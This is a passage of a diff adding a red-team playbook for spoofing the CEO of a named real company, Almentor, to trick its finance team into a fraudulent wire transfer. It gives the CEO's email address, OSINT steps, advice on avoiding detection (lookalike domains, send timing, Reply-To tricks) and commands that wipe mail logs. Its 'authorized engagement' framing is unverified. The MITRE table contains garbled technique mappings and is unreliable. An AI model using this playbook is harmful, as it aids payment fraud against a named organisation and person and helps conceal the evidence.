+ # dig TXT _dmarc.almentor.net → rua=mailto:dmarc-reports@almentor.net
374
+ # The domain owner will receive a DMARC aggregate report showing the spoofed send
375
+ # This is expected during authorized engagement and becomes evidence
376
+ ```
377
+
378
+ ---
379
+
380
+ ## Real-World Reference
381
+
382
+ **Target: Almentor (almentor.net)**
383
+
384
+ | Finding | Detail |
385
+ |---|---|
386
+ | Domain | almentor.net |
387
+ | DMARC Record | `v=DMARC1; p=none; rua=mailto:...` |
388
+ | DMARC Policy | p=none (no enforcement) |
389
+ | CEO Email | ihab.fikry@almentor.net |
390
+ | Attack Vector | External, no credentials required |
391
+ | BEC Target | Finance team |
392
+ | Potential Impact | Fraudulent wire transfer |
393
+ | Engagement Type | Authorized red team assessment |
394
+
395
+ **Attack narrative:** An external attacker with knowledge of Almentor's email format (obtainable via OSINT from LinkedIn or Hunter.io) can query `_dmarc.almentor.net` to confirm `p=none`. Because DMARC is in monitoring-only mode, a spoofed email sent with `From: ihab.fikry@almentor.net` will be delivered directly to the finance team's inbox without any spam filtering or rejection. The email appears to originate from the CEO. A convincing wire transfer request, combined with urgency and confidentiality framing, is the BEC payload. The finance team has no technical signal that the email is fraudulent — the spoofing is invisible at the email client level.
396
+
397
+ ---
398
+
399
+ ## MITRE ATT&CK Mapping
400
+
401
+ | Step | Tactic | Technique | Sub-technique | Description |
402
+ |---|---|---|---|---|
403
+ | 1 — DMARC Recon | Reconnaissance | T1596 — Search Open Technical Databases | T1596.005 — Scan Databases | Query DNS for _dmarc TXT record to confirm p=none |
404
+ | 2 — SPF Recon | Reconnaissance | T1596 | T1596.005 | Query SPF TXT record to assess email filtering posture |
405
+ | 3 — OSINT CEO/Finance | Reconnaissance | T1591 — Gather Victim Org Info | T1591.004 — Identify Roles | Identify CEO identity and finance team contacts |
406
+ | 4 — Infrastructure Setup | Resource Development | T1583 — Acquire Infrastructure | T1583.001 — Domains / T1583.002 — DNS Server | Set up attacker SMTP for spoofed sending |
407
+ | 5 — Send Spoofed Email | Initial Access | T1566 — Phishing | T1566.001 — Spearphishing Attachment/Link | Deliver spoofed CEO email to finance team |
408
+ | 6 — Internal Spear-phish | Lateral Movement | T1534 — Internal Spearphishing | — | Impersonate CEO internally (perceived internal sender) |
409
+ | 7 — Wire Transfer | Impact | T1648 — Masquerading | T1648 — Financial Fraud via BEC | Finance team executes unauthorized wire transfer |
410
+
411
+ ---
412
+
413
+ ## Detection & OPSEC
414
+
415
+ ### How This Attack Is Detected
416
+
417
+ | Detection Method | Trigger | Reliability |
418
+ |---|---|---|
419
+ | DMARC Aggregate Reports (RUA) | Domain owner receives report showing unauthorized sender | Low — p=none means only reporting, no alert |
420
+ | Email Gateway Anomaly Detection | Unusual sending IP for almentor.net domain | Medium — depends on gateway configuration |
421
+ | Employee Suspicion | Finance team verifies request via phone call | High — human verification bypasses all technical controls |
422
+ | SIEM / Email Header Analysis | Analysts inspect Received headers, note mismatched IP | Medium — requires active monitoring |
423
+ | Impersonation Detection Tools | Tools like Abnormal Security, Proofpoint TAP flag display-name spoofing | High — if deployed |
424
+
425
+ ### How to Reduce Detection Risk (Authorized Engagement)
426
+
427
+ ```bash
428
+ # 1. Send from a domain that passes SPF (less anomalous headers)
429
+ # Register a lookalike domain: almentor-corp.net, almentor.io
430
+ # This avoids SPF fail markers in headers
431
+
432
+ # 2. Use HTTPS delivery channel instead of SMTP if possible
433
+ # (reduces SMTP header forensics)
434
+
435
+ # 3. Time the email to arrive during business hours
436
+ # Monday–Thursday, 09:00–11:00 local time (finance team most receptive)
437
+
438
+ # 4. Keep email body short, urgent, and authoritative
439
+ # Avoid attachments on first email (triggers attachment scanning)
440
+
441
+ # 5. Use a Reply-To that is plausible
442
+ # ihab.fikry@almentor-corp.net (lookalike, not gmail)
443
+ ```
444
+
445
+ ### Artifacts Left Behind
446
+
447
+ | Artifact | Location | Description |
448
+ |---|---|---|
449
+ | DMARC Aggregate Report | rua mailbox of target domain | Reports the unauthorized send (IP, volume, result) |
450
+ | SMTP Server Logs | Attacker VPS /var/log/mail.log | Records of outbound send |
451
+ | Email Headers | Target's mail server logs | Received headers showing attacker IP |
452
+ | Finance Inbox | Target email system | Spoofed email in inbox (or deleted items) |
453
+ | Reply (if any) | Attacker Reply-To inbox | Finance team response |
454
+
455
+ ---
456
+
457
+ ## Cleanup
458
+
459
+ ### Post-Engagement Artifact Removal
460
+
461
+ ```bash
462
+ # 1. Remove email from attacker SMTP logs
463
+ sudo rm /var/log/mail.log
464
+ sudo truncate -s 0 /var/log/mail.log
465
+ # Or rotate:
466
+ sudo logrotate -f /etc/logrotate.d/rsyslog
467
+
468
+ # 2. Remove Postfix queue (if messages queued)
469
+ sudo postsuper -d ALL
470
+
471
+ # 3. Remove swaks log files
472
+ rm ~/.swaks/
473
+ # swaks writes to current directory by default — check:
474
+ ls *.log 2>/dev/null
475
+
476
+ # 4. Remove Python script
477
+ rm spoof_email.py
478
+
479
+ # 5. Notify target's SOC/email admin to:
480
+ # - Delete spoofed email from finance team inbox
481
+ # - Pull and review DMARC aggregate report for the engagement window
482
+ # - Confirm no wire transfer was initiated (critical pre-engagement briefing)
483
+
484
+ # 6. Document in engagement report:
485
+ # - Timestamp of send
486
+ # - Source IP used
487
+ # - Recipient address
488
+ # - Email subject line
489
+ # - Confirmation that no financial action was taken
490
+ ```
491
+
492
+ ### Pre-Engagement Safeguards (REQUIRED for authorized testing)
493
+
494
+ Before executing this scenario, ensure the following are in place:
495
+
496
+ 1. Written authorization explicitly covers email spoofing and BEC simulation.
497
+ 2. Finance team point-of-contact is briefed — they will not execute any wire transfer.
498
+ 3. Engagement window (date/time) is documented and shared with the SOC.
499
+ 4. A safe word or abort phrase is agreed upon.
500
+ 5. All spoofed emails include an invisible marker (e.g., `X-RT-Engagement: W-009`) for cleanup identification.
501
+
502
+ ---
503
+
504
+ ## References
505
+
506
+ | Resource | URL / Command |
507
+ |---|---|
508
+ | DMARC RFC 7489 | https://datatracker.ietf.org/doc/html/rfc7489 |
509
+ | checkdmarc tool | https://github.com/domainaware/checkdmarc |
510
+ | swaks SMTP tool | https://jetmore.org/john/code/swaks/ |
511
+ | MXToolbox DMARC lookup | https://mxtoolbox.com/dmarc.aspx |
512
+ | Hunter.io email discovery | https://hunter.io |
513
+ | MITRE T1566.001 | https://attack.mitre.org/techniques/T1566/001/ |
514
+ | MITRE T1534 | https://attack.mitre.org/techniques/T1534/ |
515
+ | MITRE T1648 | https://attack.mitre.org/techniques/T1648/ |
516
+ | FBI BEC Advisory | https://www.ic3.gov/Media/Y2023/PSA230609 |
517
+ | CISA Email Authentication Guide | https://www.cisa.gov/resources-tools/resources/email-authentication |
518
+ | Proofpoint BEC Research | https://www.proofpoint.com/us/threat-reference/business-email-compromise |